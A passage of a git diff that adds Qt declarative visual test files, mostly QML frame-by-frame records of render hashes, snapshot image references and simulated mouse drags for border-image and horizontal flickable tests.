+ hash: "6ce1f7da3994a51ad06afa0afb789752"
+ }
+ Frame {
+ msec: 1056
+ hash: "a2ef453b88ee01c70a4312ab6dd26685"
+ }
+ Frame {
+ msec: 1072
+ hash: "b1d5e860ea311dce4a46fd6d46f9ed58"
+ }
+ Frame {
+ msec: 1088
+ hash: "21692407cdfeeb20ff81d5d8a8ba3b7e"
+ }
+ Frame {
+ msec: 1104
+ hash: "a94ad01eb63609b5e4a9e6570e1dc25c"
+ }
+ Frame {
+ msec: 1120
+ hash: "8091f4ff6f68e178b7a2a76ba2b38df3"
+ }
+ Frame {
+ msec: 1136
+ hash: "ab8d9aa7290be2134a6ef10ca1e1bfe7"
+ }
+ Frame {
+ msec: 1152
+ hash: "3dc69d5d1b6c524a74e7cec619df5ee3"
+ }
+ Frame {
+ msec: 1168
+ hash: "ed19378ea8f51f5ecbd4c89ee5c905c2"
+ }
+ Frame {
+ msec: 1184
+ hash: "a2467396d7318a93d35aa314896d3d05"
+ }
+ Frame {
+ msec: 1200
+ hash: "a2467396d7318a93d35aa314896d3d05"
+ }
+ Frame {
+ msec: 1216
+ hash: "a2467396d7318a93d35aa314896d3d05"
+ }
+ Frame {
+ msec: 1232
+ hash: "a2467396d7318a93d35aa314896d3d05"
+ }
+ Frame {
+ msec: 1248
+ hash: "a2467396d7318a93d35aa314896d3d05"
+ }
+ Frame {
+ msec: 1264
+ hash: "ed19378ea8f51f5ecbd4c89ee5c905c2"
+ }
+ Frame {
+ msec: 1280
+ hash: "3dc69d5d1b6c524a74e7cec619df5ee3"
+ }
+ Frame {
+ msec: 1296
+ hash: "ab8d9aa7290be2134a6ef10ca1e1bfe7"
+ }
+ Frame {
+ msec: 1312
+ hash: "8091f4ff6f68e178b7a2a76ba2b38df3"
+ }
+ Frame {
+ msec: 1328
+ hash: "a94ad01eb63609b5e4a9e6570e1dc25c"
+ }
+ Frame {
+ msec: 1344
+ hash: "21692407cdfeeb20ff81d5d8a8ba3b7e"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.0.png
new file mode 100644
index 00000000..8d435541
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.qml b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.qml
new file mode 100644
index 00000000..eb40fcb5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "borders.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.0.png
new file mode 100644
index 00000000..9a81b29a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.1.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.1.png
new file mode 100644
index 00000000..2d9c4fdf
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.2.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.2.png
new file mode 100644
index 00000000..2bb0cb0f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.3.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.3.png
new file mode 100644
index 00000000..8260a65d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.4.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.4.png
new file mode 100644
index 00000000..0abcbc2f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.qml b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.qml
new file mode 100644
index 00000000..f1bb4282
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.qml
@@ -0,0 +1,1575 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "flickable-horizontal.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 48
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 64
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 80
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 96
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 112
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 128
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 144
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 160
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 176
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 192
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 208
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 224
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 240
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 256
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 272
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 288
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 304
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 320
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 336
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 352
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 368
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 384
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 400
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 416
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 432
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 448
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 464
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 480
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 496
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 512
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 528
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 544
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 560
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 576
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 592
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 608
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 624
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 640
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 656
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 672
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 688
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 704
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 720
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 447; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 736
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 752
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 768
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 446; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 784
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 440; y: 146
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 800
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 425; y: 151
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 407; y: 157
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 816
+ hash: "c92e345e4ffdb30c28d9d5aa5400bd30"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 359; y: 169
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 832
+ hash: "90f94986ab44ab59618e9a5da17b8cc9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 309; y: 181
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 848
+ hash: "0154a65f8693b98576101ac1c2fc8761"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 282; y: 187
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 282; y: 187
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 864
+ hash: "792c1b5267f14c891dae2348a8188a92"
+ }
+ Frame {
+ msec: 880
+ hash: "15ce9e88d4ad2e698bf167d1432c0b8a"
+ }
+ Frame {
+ msec: 896
+ hash: "8f4109ef4c24d286d73f689565a0d056"
+ }
+ Frame {
+ msec: 912
+ hash: "f5728190bf5c94742686f063b4a4b09b"
+ }
+ Frame {
+ msec: 928
+ hash: "a38c7527a9a818b7bc25466b0e4939f9"
+ }
+ Frame {
+ msec: 944
+ hash: "ed3902455fc31a4e3232308b815a4daa"
+ }
+ Frame {
+ msec: 960
+ hash: "a2093589363ac2d50491412e99e0193a"
+ }
+ Frame {
+ msec: 976
+ image: "flickable-horizontal.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "c32349580e3a9586cc1133c935607cf0"
+ }
+ Frame {
+ msec: 1008
+ hash: "cd2068492e346eb20d50aee69e3a3559"
+ }
+ Frame {
+ msec: 1024
+ hash: "f43a1a38894b8ffad009ba995d84b0ee"
+ }
+ Frame {
+ msec: 1040
+ hash: "2d5c4a73df2a054801571f1ce119e31f"
+ }
+ Frame {
+ msec: 1056
+ hash: "b8825cc6bdca8102a655d797ea41b5b1"
+ }
+ Frame {
+ msec: 1072
+ hash: "3f0be15b85220743d004f2d54b6e137c"
+ }
+ Frame {
+ msec: 1088
+ hash: "4b0952d33149b44ffa0a06723a4116c7"
+ }
+ Frame {
+ msec: 1104
+ hash: "9056bda43259e92cfe56fdf394e2ca54"
+ }
+ Frame {
+ msec: 1120
+ hash: "82ec9f09d2303e5b0b9c05b9a10a84db"
+ }
+ Frame {
+ msec: 1136
+ hash: "751a9b3054c09d900364d7c9cac8bc2b"
+ }
+ Frame {
+ msec: 1152
+ hash: "17dfdfef20f9da7e8b6f16df974baea9"
+ }
+ Frame {
+ msec: 1168
+ hash: "108e6d9a5a81df32823bfd7a90a000a7"
+ }
+ Frame {
+ msec: 1184
+ hash: "71dd0d55a3e837d3a8e4b4e318579ade"
+ }
+ Frame {
+ msec: 1200
+ hash: "8013cdb2615bca89134ea040409af509"
+ }
+ Frame {
+ msec: 1216
+ hash: "4b2826ad4c755690bd837994133f5fac"
+ }
+ Frame {
+ msec: 1232
+ hash: "52d0da7f138bd37ac587a448d6402aca"
+ }
+ Frame {
+ msec: 1248
+ hash: "e634724c5bb294d338210845bf64d2cf"
+ }
+ Frame {
+ msec: 1264
+ hash: "59bc5f0d057ee431f289806377f19213"
+ }
+ Frame {
+ msec: 1280
+ hash: "6ef2c5f7766c2cc77b30d636bfaa4422"
+ }
+ Frame {
+ msec: 1296
+ hash: "578d056c3db094420dbaa51bd08ced20"
+ }
+ Frame {
+ msec: 1312
+ hash: "14c6f7a04a52caffefa07af556ccb262"
+ }
+ Frame {
+ msec: 1328
+ hash: "7cb63d56fec144d0509ce219fc6fe459"
+ }
+ Frame {
+ msec: 1344
+ hash: "462dafa7f6427aecf6c28a5dcf5a10cc"
+ }
+ Frame {
+ msec: 1360
+ hash: "45360814f985ed780a443568a91fc170"
+ }
+ Frame {
+ msec: 1376
+ hash: "0d18ceb2436e4f7eb56a3443fab706e6"
+ }
+ Frame {
+ msec: 1392
+ hash: "1d83f367ba9f7f1d4496208271e925ed"
+ }
+ Frame {
+ msec: 1408
+ hash: "fdbd00ee4c122aef779df42ea53f403a"
+ }
+ Frame {
+ msec: 1424
+ hash: "bedd1cb304efd4851813b39a746198a4"
+ }
+ Frame {
+ msec: 1440
+ hash: "9aa7bed86efa9634466736f20ee0ab5b"
+ }
+ Frame {
+ msec: 1456
+ hash: "00fc8186a7ae44e10195a7b13defa0d2"
+ }
+ Frame {
+ msec: 1472
+ hash: "42d6e8e0bbed879ed63644c83e61e7bd"
+ }
+ Frame {
+ msec: 1488
+ hash: "df074f8c210249e5ef652349479b6325"
+ }
+ Frame {
+ msec: 1504
+ hash: "4f94020437e35cf44dd3576997990ab7"
+ }
+ Frame {
+ msec: 1520
+ hash: "8ca6c3b4fa3be73ac35073356b680a35"
+ }
+ Frame {
+ msec: 1536
+ hash: "c25eee1c5791383ebc59974e7754eacb"
+ }
+ Frame {
+ msec: 1552
+ hash: "f4917ada78942428cc6b9aa5e56c013d"
+ }
+ Frame {
+ msec: 1568
+ hash: "23e1e607101fc7260a4ac841344f5fe0"
+ }
+ Frame {
+ msec: 1584
+ hash: "2dcc7d187d8e0493e5766efbf09ef37c"
+ }
+ Frame {
+ msec: 1600
+ hash: "c1e5602753e80cf44d7b330140c6912e"
+ }
+ Frame {
+ msec: 1616
+ hash: "febaf72d01a3763461b4b7d2ddd7a23e"
+ }
+ Frame {
+ msec: 1632
+ hash: "071262b911b61576f451be25691a57cf"
+ }
+ Frame {
+ msec: 1648
+ hash: "44705db9289fd8753b9d63e8bc963b38"
+ }
+ Frame {
+ msec: 1664
+ hash: "0c41d7b7d36bd083abfc0b83b862cad9"
+ }
+ Frame {
+ msec: 1680
+ hash: "0c41d7b7d36bd083abfc0b83b862cad9"
+ }
+ Frame {
+ msec: 1696
+ hash: "071262b911b61576f451be25691a57cf"
+ }
+ Frame {
+ msec: 1712
+ hash: "a00aa90e894b48203b0446ca287ee712"
+ }
+ Frame {
+ msec: 1728
+ hash: "26c9ca53ee4b084c6595ad65bf4880df"
+ }
+ Frame {
+ msec: 1744
+ hash: "f4917ada78942428cc6b9aa5e56c013d"
+ }
+ Frame {
+ msec: 1760
+ hash: "ffedee7bf2d8099e361b8b1706b03f88"
+ }
+ Frame {
+ msec: 1776
+ hash: "1778ef1629ce977015b641448b46634f"
+ }
+ Frame {
+ msec: 1792
+ hash: "42d6e8e0bbed879ed63644c83e61e7bd"
+ }
+ Frame {
+ msec: 1808
+ hash: "99e843ec69b79b79b0792e0a2f28cd1b"
+ }
+ Frame {
+ msec: 1824
+ hash: "8b3ebca70b50a6a93823e015ea80f0f9"
+ }
+ Frame {
+ msec: 1840
+ hash: "8eaa7f076064ce55051237b04861e408"
+ }
+ Frame {
+ msec: 1856
+ hash: "6acc0ca5e5808d911287edfa78c8ac02"
+ }
+ Frame {
+ msec: 1872
+ hash: "e9f05899e0b53c21f6efe834095a3ea4"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 91; y: 208
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 93; y: 209
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1888
+ hash: "e9f05899e0b53c21f6efe834095a3ea4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 99; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 108; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1904
+ hash: "d2dece405f5f6ed1de2acb6615a931de"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 142; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1920
+ hash: "21e0f21edc77424e8327c9a3350ecc1d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 198; y: 216
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1936
+ image: "flickable-horizontal.2.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 229; y: 218
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 266; y: 220
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1952
+ hash: "c10c8b0c94f899414d8b3ef0b7c97646"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 322; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 322; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1968
+ hash: "807aff4e6c96a9d0de7fa55e233446b1"
+ }
+ Frame {
+ msec: 1984
+ hash: "dbd02848cefacbb26f4bcb7d8f073d6c"
+ }
+ Frame {
+ msec: 2000
+ hash: "9a60608d8ea1b39fa2d3851873f2f08e"
+ }
+ Frame {
+ msec: 2016
+ hash: "e7b3e3a40281f63889808211d6746374"
+ }
+ Frame {
+ msec: 2032
+ hash: "188c225c46ec00105df230bfeea09974"
+ }
+ Frame {
+ msec: 2048
+ hash: "e2e977b42e91d8c5dee57fd8245692eb"
+ }
+ Frame {
+ msec: 2064
+ hash: "ca2f12fb173c405f95e608858ab982ad"
+ }
+ Frame {
+ msec: 2080
+ hash: "fa86ee5f25fa425cf2569c8ef570b9d8"
+ }
+ Frame {
+ msec: 2096
+ hash: "9b74656866fb8c7394bbbecec6414aca"
+ }
+ Frame {
+ msec: 2112
+ hash: "87147326d1baab174c0f9a5ccdc2cb84"
+ }
+ Frame {
+ msec: 2128
+ hash: "c0d00f98c71bf3f8e5954b45fbab95a8"
+ }
+ Frame {
+ msec: 2144
+ hash: "c087d1d62e56e573b55c1d8599bba8a6"
+ }
+ Frame {
+ msec: 2160
+ hash: "dd5a94c6febdee58e8f115cb75131aaa"
+ }
+ Frame {
+ msec: 2176
+ hash: "a7465d6137f865f512ce65ceb29533b4"
+ }
+ Frame {
+ msec: 2192
+ hash: "409086f6bb661aab8b548fea56d7e6b1"
+ }
+ Frame {
+ msec: 2208
+ hash: "6a22911e0fb58df31271baa463ff599d"
+ }
+ Frame {
+ msec: 2224
+ hash: "c4f6dd30d5fdfcf91a8b29cf5c622423"
+ }
+ Frame {
+ msec: 2240
+ hash: "5a95b83f237c7243a198a43e9a587179"
+ }
+ Frame {
+ msec: 2256
+ hash: "d79ed290efc6dbd976d574bf0b14a6a3"
+ }
+ Frame {
+ msec: 2272
+ hash: "a7bcb436e96d7c981852239462573495"
+ }
+ Frame {
+ msec: 2288
+ hash: "f63cc82e351daab503e316f8b516990f"
+ }
+ Frame {
+ msec: 2304
+ hash: "4ea63cd25a1424042ffc60549a78563c"
+ }
+ Frame {
+ msec: 2320
+ hash: "ef0fb776012575b3b0dbf6e5f4dee571"
+ }
+ Frame {
+ msec: 2336
+ hash: "e2508faec7737be2666d87ad715b5f74"
+ }
+ Frame {
+ msec: 2352
+ hash: "9fe4e897c6b853f774d11817a0eb53bf"
+ }
+ Frame {
+ msec: 2368
+ hash: "c122ce2e73cbfedcc99d649c21d91f9d"
+ }
+ Frame {
+ msec: 2384
+ hash: "883b8b180853f1f432ae98ddfe1b6ce3"
+ }
+ Frame {
+ msec: 2400
+ hash: "d0808284e431da60f61d571c257a3011"
+ }
+ Frame {
+ msec: 2416
+ hash: "df90f19450bf4d9496aab987a89e3a02"
+ }
+ Frame {
+ msec: 2432
+ hash: "5640c1e64556b90e7fbd4448fa9db462"
+ }
+ Frame {
+ msec: 2448
+ hash: "6d9b5c2f7d0dedbbc444e69bb39fed08"
+ }
+ Frame {
+ msec: 2464
+ hash: "485c4a8049068cf73bf22db5fd3618be"
+ }
+ Frame {
+ msec: 2480
+ hash: "9e25da59c9e7e4cf7796902e8e2ff92a"
+ }
+ Frame {
+ msec: 2496
+ hash: "bd45e8f2442d7c1a1b16a762bc29e7cf"
+ }
+ Frame {
+ msec: 2512
+ hash: "ec1013d23e581dbb39b1549d2e1b3b32"
+ }
+ Frame {
+ msec: 2528
+ hash: "1ea3c2fde8ee3a14406e027f2124d793"
+ }
+ Frame {
+ msec: 2544
+ hash: "3c3f31a05fb2f32538872c9fa158aaab"
+ }
+ Frame {
+ msec: 2560
+ hash: "05a84d9c55e634ec01edd2a63e13613b"
+ }
+ Frame {
+ msec: 2576
+ hash: "0f7ccd2da58e2e73b0ab18bb681dafd5"
+ }
+ Frame {
+ msec: 2592
+ hash: "e481ff78029f8bc4bf7c697db6824f6a"
+ }
+ Frame {
+ msec: 2608
+ hash: "efb92b8b7a90acabeb4a8d5cae52fe3c"
+ }
+ Frame {
+ msec: 2624
+ hash: "4728dd0fac4edf40cfd5ef5a422b4ed9"
+ }
+ Frame {
+ msec: 2640
+ hash: "27641dcd772c979ae22d12bfbadbb67f"
+ }
+ Frame {
+ msec: 2656
+ hash: "26268714105bc4832d336a38a859fc50"
+ }
+ Frame {
+ msec: 2672
+ hash: "caf0d351d3b6914ca52853a30643ea48"
+ }
+ Frame {
+ msec: 2688
+ hash: "319824b1143925162f04aaddcfaa65d9"
+ }
+ Frame {
+ msec: 2704
+ hash: "73aa36815f34bf5e005000e7da38555e"
+ }
+ Frame {
+ msec: 2720
+ hash: "73aa36815f34bf5e005000e7da38555e"
+ }
+ Frame {
+ msec: 2736
+ hash: "319824b1143925162f04aaddcfaa65d9"
+ }
+ Frame {
+ msec: 2752
+ hash: "caf0d351d3b6914ca52853a30643ea48"
+ }
+ Frame {
+ msec: 2768
+ hash: "6608412ee80d14e13a1a05fb4716e719"
+ }
+ Frame {
+ msec: 2784
+ hash: "f4f6f002fb76407a5120329972285dc4"
+ }
+ Frame {
+ msec: 2800
+ hash: "474d8b566b9e4ef7dc125a8df30ccbb1"
+ }
+ Frame {
+ msec: 2816
+ hash: "0133138f30be4ffc7f3af3d9f477c4b4"
+ }
+ Frame {
+ msec: 2832
+ hash: "e9ee9d7d0ab9dcea3f28ae71ee19270f"
+ }
+ Frame {
+ msec: 2848
+ hash: "9fd9eb665a42b48583bc28c6c0118799"
+ }
+ Frame {
+ msec: 2864
+ hash: "94231107bc4a7e900fe5f4eb823bd9bf"
+ }
+ Frame {
+ msec: 2880
+ hash: "6011b10728fb1c83f10d3c27366ea3a5"
+ }
+ Frame {
+ msec: 2896
+ image: "flickable-horizontal.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "e456c5fddb5fbcb02662716f19755622"
+ }
+ Frame {
+ msec: 2928
+ hash: "88cef15940302e2b8b43e73234fd7b9c"
+ }
+ Frame {
+ msec: 2944
+ hash: "041aecec2b0b0d59a56e1dd26b45cab1"
+ }
+ Frame {
+ msec: 2960
+ hash: "0d519463c713f3da46ecacd155e1a0f3"
+ }
+ Frame {
+ msec: 2976
+ hash: "5dd0c855b97d298244fb599c9f781651"
+ }
+ Frame {
+ msec: 2992
+ hash: "8677cec5e559e51095d89abfeda8e542"
+ }
+ Frame {
+ msec: 3008
+ hash: "b05fb6e798ab3fed940b5ac4d88ca378"
+ }
+ Frame {
+ msec: 3024
+ hash: "6bc9cc0d3b11ea91856296b0ec934a8b"
+ }
+ Frame {
+ msec: 3040
+ hash: "f4e63f3af69dacbf2d1d719d4d03a266"
+ }
+ Frame {
+ msec: 3056
+ hash: "31ab08997eb86fab062a3128aecbccb5"
+ }
+ Frame {
+ msec: 3072
+ hash: "90736b240ba1e634bd0ea86423908e16"
+ }
+ Frame {
+ msec: 3088
+ hash: "90736b240ba1e634bd0ea86423908e16"
+ }
+ Frame {
+ msec: 3104
+ hash: "e74982557dc06aac572078840c7e889a"
+ }
+ Frame {
+ msec: 3120
+ hash: "e74982557dc06aac572078840c7e889a"
+ }
+ Frame {
+ msec: 3136
+ hash: "ca30c14c7344d1711a35c707f8804f6e"
+ }
+ Frame {
+ msec: 3152
+ hash: "e616110d39009f0d636b816828cc0ccb"
+ }
+ Frame {
+ msec: 3168
+ hash: "e616110d39009f0d636b816828cc0ccb"
+ }
+ Frame {
+ msec: 3184
+ hash: "e616110d39009f0d636b816828cc0ccb"
+ }
+ Frame {
+ msec: 3200
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 412; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3216
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 3232
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 3248
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 408; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 407; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3264
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 403; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3280
+ hash: "1991cbb0fb053937f922731d5716032c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 398; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3296
+ hash: "df447575a4734bb5bd9badc6e27d98e4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 391; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3312
+ hash: "0fbfe1e0d7fb54450188398aa40690cd"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 383; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3328
+ hash: "cb62e60296046c73d301d7186e14faed"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 369; y: 213
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3344
+ hash: "909cbd1292476584554e22232cb43639"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 352; y: 211
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3360
+ hash: "e63b7e502dfb2834c06a969b683b9bd3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 331; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3376
+ hash: "4ea63cd25a1424042ffc60549a78563c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 314; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3392
